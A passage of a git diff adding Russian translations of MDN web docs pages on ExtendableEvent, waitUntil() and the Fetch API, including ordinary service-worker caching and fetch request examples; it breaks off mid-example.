+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId &lt; oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId &lt; aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId &lt; aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.addEventListener()")}}.</li>
+ <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li>
+</ul>
diff --git a/files/ru/web/api/extendableevent/index.html b/files/ru/web/api/extendableevent/index.html
new file mode 100644
index 0000000000..336ae70a26
--- /dev/null
+++ b/files/ru/web/api/extendableevent/index.html
@@ -0,0 +1,130 @@
+---
+title: ExtendableEvent
+slug: Web/API/ExtendableEvent
+tags:
+  - API
+  - Experimental
+  - ExtendableEvent
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - TopicStub
+  - Workers
+translation_of: Web/API/ExtendableEvent
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>The <strong><code>ExtendableEvent</code></strong> interface extends the lifetime of the <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/install">install</a></code> and <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/activate">activate</a></code> events dispatched on the global scope as part of the service worker lifecycle. This ensures that any functional events (like {{domxref("FetchEvent")}}) are not dispatched until it upgrades database schemas and deletes the outdated cache entries.</p>
+
+<p>If {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} is called outside of the <code>ExtendableEvent</code> handler, the browser should throw an <code>InvalidStateError</code>; note also that multiple calls will stack up, and the resulting promises will be added to the list of <a href="https://w3c.github.io/ServiceWorker/#extendableevent-extend-lifetime-promises">extend lifetime promises</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The behaviour described in the above paragraph was fixed in Firefox 43 (see {{bug(1180274)}}.)</p>
+</div>
+
+<p>This interface inherits from the {{domxref("Event")}} interface.</p>
+
+<p>{{InheritanceDiagram(700, 60, 20)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: This interface is only available when the global scope is a {{domxref("ServiceWorkerGlobalScope")}}. It is not available when it is a {{domxref("Window")}}, or the scope of another kind of worker.</p>
+</div>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("ExtendableEvent.ExtendableEvent()", "ExtendableEvent()")}}</dt>
+ <dd>Creates a new <code>ExtendableEvent</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Doesn't implement any specific properties, but inherits properties from its parent, {{domxref("Event")}}.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Extends the lifetime of the event.  It is intended to be called in the <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/install">install</a></code> {{domxref("EventHandler")}} for the {{domxref("ServiceWorkerRegistration.installing", "installing")}} worker and on the <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/activate">activate</a></code> {{domxref("EventHandler")}} for the {{domxref("ServiceWorkerRegistration.active", "active")}} worker.</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js">service worker prefetch sample</a> (see <a href="https://googlechrome.github.io/samples/service-worker/prefetch/">prefetch example live</a>.) The code calls {{domxref("ExtendableEvent.waitUntil()")}} in {{domxref("ServiceWorkerGlobalScope.oninstall")}}, delaying treating the {{domxref("ServiceWorkerRegistration.installing")}} worker as installed until the passed promise resolves successfully. The promise resolves when all resources have been fetched and cached, or else when any exception occurs.</p>
+
+<p>The code snippet also shows a best practice for versioning caches used by the service worker. Though there's only one cache in this example, the same approach can be used for multiple caches. It maps a shorthand identifier for a cache to a specific, versioned cache name.</p>
+
+<div class="note">
+<p><strong>Note</strong>: In Chrome, logging statements are visible via the "Inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals.</p>
+</div>
+
+<pre class="brush: js notranslate">var CACHE_VERSION = 1;
+var CURRENT_CACHES = {
+  prefetch: 'prefetch-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('install', function(event) {
+  var urlsToPrefetch = [
+    './static/pre_fetched.txt',
+    './static/pre_fetched.html',
+    'https://www.chromium.org/_/rsrc/1302286216006/config/customLogo.gif'
+  ];
+
+  console.log('Handling install event. Resources to pre-fetch:', urlsToPrefetch);
+
+  event.waitUntil(
+    caches.open(CURRENT_CACHES['prefetch']).then(function(cache) {
+      return cache.addAll(urlsToPrefetch.map(function(urlToPrefetch) {
+        return new Request(urlToPrefetch, {mode: 'no-cors'});
+      })).then(function() {
+        console.log('All resources have been fetched and cached.');
+      });
+    }).catch(function(error) {
+      console.error('Pre-fetching failed:', error);
+    })
+  );
+});</pre>
+
+<div class="note"><strong>Important</strong>: When fetching resources, it's very important to use <code>{mode: 'no-cors'}</code> if there is any chance that the resources are served off of a server that doesn't support {{glossary("CORS")}}. In this example, <a href="http://www.chromium.org">www.chromium.org</a> doesn't support CORS.</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendableevent', 'ExtendableEvent')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ExtendableEvent")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/extendableevent/waituntil/index.html b/files/ru/web/api/extendableevent/waituntil/index.html
new file mode 100644
index 0000000000..136770f499
--- /dev/null
+++ b/files/ru/web/api/extendableevent/waituntil/index.html
@@ -0,0 +1,77 @@
+---
+title: ExtendableEvent.waitUntil()
+slug: Web/API/ExtendableEvent/waitUntil
+translation_of: Web/API/ExtendableEvent/waitUntil
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">Метод <code><strong>ExtendableEvent.waitUntil()</strong></code> сообщает диспетчеру событий, что выполняется действие. Также этот метод может быть использован, для того чтобы определить было ли то действие успешным. В рамках service workers, <code>waitUntil()</code> сообщает браузеру, что действие продолжается пока обещание не завершится (<em>promise settles</em>) и браузер не должен прерывать service worker если он хочет, чтобы это действие завершилось.</span></p>
+
+<p>События <code>install</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> чтобы задержать service worker в {{domxref("ServiceWorkerRegistration.installing", "installing")}} фазе пока не завершатся задачи. Если обещание переданное в <code>waitUntil()</code> отклоняется, установка считается неудачной и устанавлеваемый service worker отбрасывается.  В первую очередь это используется для гарантии того, что service worker не рассматривается как установленный (installed), пока все основные кэши на которые он зависит успешно не заполнены.</p>
+
+<p>События <code>activate</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> для размещения в буфере функциональных событий таких как <code>fetch</code> и <code>push</code> пока обещание переданное в <code>waitUntil()</code> не завершится успешно. Это дает service worker время, чтобы обновить схемы базы данных и удалить устаревшие {{domxref("Cache", "caches")}}, таким образом другие события могут полагаться на полностью обновленное состояние.</p>
+
+<p>Метод <code>waitUntil()</code> должен быть изначально вызван внутри события обратного вызова (<em>event callback</em>), но после этого он может быть вызван множество раз, до тех пор пока все обещания переданные в него не завершатся успешно.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Поведение описанное в параграфе выше, было исправлено в Firefix 43 (смотрите {{bug(1180274)}}).</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>extendableEvent</em>.waitUntil(<em>promise</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>{{jsxref("Promise")}}.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Использование <code>waitUntil()</code> внутри события <code>install</code> в service worker:</p>
+
+<pre class="brush: js;highlight:[10] notranslate">addEventListener('install', event =&gt; {
+  const preCache = async () =&gt; {
+    const cache = await caches.open('static-v1');
+    return cache.addAll([
+      '/',
+      '/about/',
+      '/static/styles.css'
+    ]);
+  };
+  event.waitUntil(preCache());
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-extendableevent-waituntil', 'waitUntil()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста посмотрите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.ExtendableEvent.waitUntil")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Готов ли ServiceWorker?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html
new file mode 100644
index 0000000000..ec05253d7f
--- /dev/null
+++ b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html
@@ -0,0 +1,33 @@
+---
+title: Cross-global fetch usage
+slug: Web/API/Fetch_API/Cross-global_fetch_usage
+translation_of: Web/API/Fetch_API/Cross-global_fetch_usage
+---
+<p class="summary">Эта статья объясняет крайний случай, который случается с fetch (и потенциально с другими API, предоставляющими такой же способ получения данных). Когда cross-origin fetch, включающий относительный URL, инициируется из {{htmlelement("iframe")}}, относительный URL может использовать текущий глобальный location вместо того что задается в iframe.</p>
+
+<h2 id="Крайний_случай">Крайний случай</h2>
+
+<p>Многие сайты никогда не столкнутся с таким поведением. Чтобы увидеть его:</p>
+
+<ul>
+ <li>Вам понадобится same-origin iframe</li>
+ <li>Этот same-origin iframe должен располагаться с другим base URL</li>
+ <li>Вы должны использовать функцию fetch cross-global, т. е. <code>frame.contentWindow.fetch()</code></li>
+ <li>Переданный в fetch URL должен быть относительным</li>
+</ul>
+
+<h2 id="Проблема">Проблема</h2>
+
+<p>В прошлом мы разрешали относительный URL адрес вместо текущего глобального, для примера:</p>
+
+<pre class="brush: js">let absolute = new URL(relative, window.location.href)</pre>
+
+<p>Это не проблема как таковая. Просто разные API, демонстрирующие такое поведение, делали его несовместимым с поведением, определенным в спецификации, что может привести к проблемам в дальнейшем.</p>
+
+<h2 id="Решение">Решение</h2>
+
+<p>В Firefox 60 и далее, Mozilla сопоставляет относительный URL с глобальным, которой принадлежит используемой функции <code>fetch()</code> (смотри {{bug(1432272)}}). Таким образом в случае описанном выше, он разрешается в зависимости от расположения iframe:</p>
+
+<pre class="brush: js">let absolute = new URL(relative, frame.contentWindow.location.href)</pre>
+
+<p>Ведется много дискуссий о том, как привести новые спецификации в соотвествие с этим изменением поведения, для того чтобы уменьшить возможные проблемы в будущем.</p>
diff --git a/files/ru/web/api/fetch_api/index.html b/files/ru/web/api/fetch_api/index.html
new file mode 100644
index 0000000000..cb3917dcf8
--- /dev/null
+++ b/files/ru/web/api/fetch_api/index.html
@@ -0,0 +1,102 @@
+---
+title: Fetch API
+slug: Web/API/Fetch_API
+tags:
+  - API
+  - Fetch
+  - Response
+  - XMLHttpRequest
+  - request
+  - Главная
+  - Справка
+  - Экспериментальная
+translation_of: Web/API/Fetch_API
+---
+<p>{{DefaultAPISidebar("Fetch API")}}</p>
+
+<p>Fetch API предоставляет интерфейс для получения ресурсов (в том числе по сети). Он покажется знакомым любому, кто использовал {{DOMxRef("XMLHttpRequest")}}, но новый API является более мощным и гибким набором функций.</p>
+
+<h2 id="Oпределения_и_использование">Oпределения и использование</h2>
+
+<p>Fetch обеспечивает обобщенное определение объектов {{DOMxRef("Request")}} и {{DOMxRef("Response")}} (и других вещей, связанных с сетевыми запросами). Это позволит им использоваться везде, где необходимо в будущем, в том числе и для service workers, Cache API и других подобных технологий, которые обрабатывают или изменяют запросы (requests) и ответы (responses), а так же в любых других случаях, которые могут потребовать от вас генерировать свой собственный ответ программно.</p>
+
+<p>Это также предоставляет определение в отношение таких понятий, как CORS и семантика заголовков HTTP origin, заменяя их обособленные определения где бы то ни было.</p>
+
+<p>Чтобы создать запрос и получить данные, используется метод {{DOMxRef("GlobalFetch.fetch")}}. Он реализован во множестве интерфейсов, в том числе в {{DOMxRef("Window")}} и {{DOMxRef("WorkerGlobalScope")}}. Это позволяет использовать его практически в любом контексте для получения данных.</p>
+
+<p>Метод <code>fetch()</code> принимает один обязательный аргумент —  путь к данным, которые вы хотите получить. Он возвращает promise, который разрешается в ({{DOMxRef("Response")}}) независимо от того, был ли запрос удачным. Вы можете также передать во втором аргументе необязательный объект с указанием опций (см. {{DOMxRef("Request")}}.)</p>
+
+<p>Как только {{DOMxRef("Response")}} выполнится успешно, становятся доступными несколько методов для определения тела контента и, как его содержимое олжно быть обработано (см. {{DOMxRef("Body")}}.)</p>
+
+<p>Вы можете создавать запрос и ответ непосредственно, используя конструкторы {{DOMxRef("Request.Request","Request()")}} и {{DOMxRef("Response.Response","Response()")}}, но маловероятно, что в этом есть необходимость. Напротив, более вероятно, что они будут созданы как результат работы другого API (например, {{DOMxRef("FetchEvent.respondWith")}} в service workers.)</p>
+
+<h3 id="Отличия_от_jQuery">Отличия от jQuery</h3>
+
+<p>Спецификации <code>fetch()</code> отличаются от <code>jQuery.ajax()</code> тремя основными способами:</p>
+
+<ul>
+ <li>
+  <p>Обещание, возвращенное из <code>fetch()</code>, <strong>не будет отвергнуто при статусе ошибки HTTP</strong>, даже если ответ является HTTP <code>404</code> или <code>500</code>. Вместо этого, оно будет разрешаться нормально (со статусом <code>ok</code> установленным в <code>false</code>), и будет отклоняться только при сбое в сети или если что-то помешало завершению запроса.</p>
+ </li>
+ <li>
+  <p><code>fetch() </code>может получать межсайтовые куки-файлы; таким образом вы можете установить межсайтовую сессию используя <code>fetch</code>.</p>
+ </li>
+ <li><code>fetch()</code> не будет посылать куки-файлы, если только не указано <code>credentials: 'same-origin'</code>.</li>
+</ul>
+
+<div class="note"><strong>Заметка</strong>: узнайте больше об использовании Fetch API на <a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a> и изучите концепции на <a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a>.</div>
+
+<h3 id="Прерывание_выборки">Прерывание выборки</h3>
+
+<p>Браузеры начали добавлять экспериментальную поддержку для {{domxref("AbortController")}} и {{domxref("AbortSignal")}} интерфейсов (aka The Abort API), которые позволяют прерывать операции, такие как Fetch и XHR, если они еще не завершены. Подробности смотрите на страницах интерфейсов.</p>
+
+<h2 id="Fetch_интерфейсы">Fetch интерфейсы</h2>
+
+<dl>
+ <dt>{{DOMxRef("GlobalFetch")}}</dt>
+ <dd>Содержит метод <code>fetch()</code>, используемый для получения ресурсов.</dd>
+ <dt>{{DOMxRef("Headers")}}</dt>
+ <dd>Представляет заголовки запроса/ответа, позволяет запрашивать данные и выполнять различные действия в зависимости от результата.</dd>
+ <dt>{{DOMxRef("Request")}}</dt>
+ <dd>Запрашивает ресурс.</dd>
+ <dt>{{DOMxRef("Response")}}</dt>
+ <dd>Представляет ответ на запрос.</dd>
+</dl>
+
+<h2 id="Fetch_примесь">Fetch примесь</h2>
+
+<dl>
+ <dt>{{DOMxRef("Body")}}</dt>
+ <dd>Предоставляет методы, относящиеся к телу запроса/ответа, позволяя вам определять content-type и то, как ответ должен быть обработан.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch полифил</a></li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch базовые понятия</a></li>
+</ul>
diff --git a/files/ru/web/api/fetch_api/using_fetch/index.html b/files/ru/web/api/fetch_api/using_fetch/index.html
new file mode 100644
index 0000000000..f123f02792
--- /dev/null
+++ b/files/ru/web/api/fetch_api/using_fetch/index.html
@@ -0,0 +1,488 @@
+---
+title: Использование Fetch
+slug: Web/API/Fetch_API/Using_Fetch
+translation_of: Web/API/Fetch_API/Using_Fetch
+---
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> предоставляет интерфейс JavaScript для работы с запросами и ответами HTTP. Он также предоставляет глобальный метод {{domxref("GlobalFetch.fetch","fetch()")}}, который позволяет легко и логично получать ресурсы по сети асинхронно.</p>
+
+<p>Подобная функциональность ранее достигалась с помощью {{domxref("XMLHttpRequest")}}. Fetch представляет собой лучшую альтернативу, которая может быть легко использована другими технологиями, такими как {{domxref("ServiceWorker_API", "Service Workers")}}. Fetch также обеспечивает единое логическое место для определения других связанных с HTTP понятий, такие как CORS и расширения для HTTP.</p>
+
+<p>Обратите внимание, <code>fetch</code> спецификация отличается от <code>jQuery.ajax()</code> в основном в двух пунктах:</p>
+
+<ul>
+ <li>Promise возвращаемый вызовом <code>fetch()</code> <strong>не перейдет в состояние "отклонено" из-за ответа HTTP, который считается ошибкой</strong>, даже если ответ HTTP 404 или 500.  Вместо этого, он будет выполнен нормально (с значением false в статусе <code>ok</code> ) и будет отклонён только при сбое сети или если что-то помешало запросу выполниться.</li>
+ <li>По умолчанию, <code>fetch</code> <strong>не будет отправлять или получать cookie файлы </strong>с сервера, в результате чего запросы будут осуществляться без проверки подлинности, что приведёт<span class="tlid-translation translation" lang="ru"><span title=""> к неаутентифицированным запросам</span></span>, если сайт полагается на проверку пользовательской сессии (для отправки cookie файлов в аргументе <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch#Parameters">init options</a> должно быть задано значение свойства <em>credentials</em> отличное от значения по умолчанию <code>omit</code>).</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>25 августа 2017 г. в спецификации изменилось значение по умолчанию свойства <em>credentials</em> на <code>same-origin</code>. Firefox применяет это изменение с версии 61.0b13.</p>
+</div>
+
+<p>Базовый запрос на получение данных действительно прост в настройке. Взгляните на следующий код:</p>
+
+<pre>fetch('http://example.com/movies.json')
+  .then((response) =&gt; {
+    return response.json();
+  })
+  .then((data) =&gt; {
+    console.log(data);
+  });</pre>
+
+<p>Здесь мы забираем JSON файл по сети и выводим его содержимое в консоль. Самый простой способ использования <code>fetch()</code> заключается в вызове этой функии с одним аргументом — строкой, содержащей путь к ресурсу, который вы хотите получить — которая возвращает promise, содержащее ответ (объект {{domxref("Response")}}).</p>
+
+<p>Конечно, это просто HTTP-ответ, а не фактический JSON. Чтобы извлечь содержимое тела JSON из ответа, мы используем {{domxref("Body.json","json()")}} метод  (определён миксином {{domxref("Body")}}, который реализован в объектах {{domxref("Request")}} и {{domxref("Response")}}.)</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Миксин Body имеет подобные методы для извлечения других типов контента; см. раздел {{anch("Тело")}}.</p>
+</div>
+
+<p>Fetch-запросы контролируются посредством директивы <code>connect-src</code> (<a href="/en-US/docs/Security/CSP/CSP_policy_directives">Content Security Policy</a>), а не директивой извлекаемых ресурсов.</p>
+
+<h3 id="Установка_параметров_запроса">Установка параметров запроса</h3>
+
+<p>Метод <code>fetch()</code> может принимать второй параметр - обьект <code>init</code>, который позволяет вам контролировать различные настройки:</p>
+
+<pre class="brush: js">// Пример отправки POST запроса:
+async function postData(url = '', data = {}) {
+  // Default options are marked with *
+  const response = await fetch(url, {
+    method: 'POST', // *GET, POST, PUT, DELETE, etc.
+    mode: 'cors', // no-cors, *cors, same-origin
+    cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+    credentials: 'same-origin', // include, *same-origin, omit
+    headers: {
+      'Content-Type': 'application/json'
+      // 'Content-Type': 'application/x-www-form-urlencoded',
+    },
+    redirect: 'follow', // manual, *follow, error
+    referrerPolicy: 'no-referrer', // no-referrer, *client
+    body: JSON.stringify(data) // body data type must match "Content-Type" header
+  });
+  return await response.json(); // parses JSON response into native JavaScript objects
+}
+
+postData('https://example.com/answer', { answer: 42 })
+  .then((data) =&gt; {
+    console.log(data); // JSON data parsed by `response.json()` call
+  });</pre>
+
+<p>С подробным описанием функции и полным списком параметров вы можете ознакомиться на странице {{domxref("GlobalFetch.fetch","fetch()")}}.</p>
+
+<h3 id="Отправка_запроса_с_учётными_данными">Отправка запроса с учётными данными</h3>
+
+<p>Чтобы браузеры могли отправлять запрос с учётными данными (даже для cross-origin запросов), добавьте <code>credentials: 'include'</code> в объект <code>init</code>, передаваемый вами в метод <code>fetch()</code>:</p>
+
+<pre class="brush: js"><code>fetch('https://example.com', {
+  credentials: 'include'
+})</code></pre>
+
+<p>Если вы хотите отправлять запрос с учетными данными только если URL принадлежит одному источнику (origin) что и вызывающий его скрипт, добавьте <code>credentials: 'same-origin'</code>.</p>
+
+<pre><code>// Вызывающий скрипт принадлежит источнику 'https://example.com'
+
+fetch('https://example.com', {
+  credentials: 'same-origin'
+})</code></pre>
+
+<p>Напротив, чтобы быть уверенным, что учётные данные не передаются с запросом, используйте <code>credentials: 'omit'</code>:</p>
+
+<pre class="brush: js"><code>fetch('https://example.com', {
+  credentials: 'omit'
+})</code></pre>
+
+<h3 id="Отправка_данных_в_формате_JSON">Отправка данных в формате JSON</h3>
+
+<p>При помощи {{domxref("GlobalFetch.fetch","fetch()")}} можно отправлять POST-запросы в формате JSON.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> url <span class="operator token">=</span> <span class="string token">'https://example.com/profile'</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> data <span class="operator token">=</span> <span class="punctuation token">{</span> username<span class="punctuation token">:</span> <span class="string token">'example'</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span>url<span class="punctuation token">,</span> <span class="punctuation token">{</span>
+    method<span class="punctuation token">:</span> <span class="string token">'POST'</span><span class="punctuation token">,</span> <span class="comment token">// или 'PUT'</span>
+    body<span class="punctuation token">:</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>data<span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="comment token">// данные могут быть 'строкой' или {объектом}!</span>
+    headers<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+      <span class="string token">'Content-Type'</span><span class="punctuation token">:</span> <span class="string token">'application/json'</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> json <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Успех:'</span><span class="punctuation token">,</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>json<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'Ошибка:'</span><span class="punctuation token">,</span> error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Загрузка_файла_на_сервер">Загрузка файла на сервер</h3>
+
+<p>На сервер можно загрузить файл, используя комбинацию HTML-элемента <code>&lt;input type="file" /&gt;</code>, {{domxref("FormData.FormData","FormData()")}} и {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> formData <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">FormData</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> fileField <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'input[type="file"]'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'username'</span><span class="punctuation token">,</span> <span class="string token">'abc123'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'avatar'</span><span class="punctuation token">,</span> fileField<span class="punctuation token">.</span>files<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'https://example.com/profile/avatar'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+    method<span class="punctuation token">:</span> <span class="string token">'PUT'</span><span class="punctuation token">,</span>
+    body<span class="punctuation token">:</span> formData
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> result <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
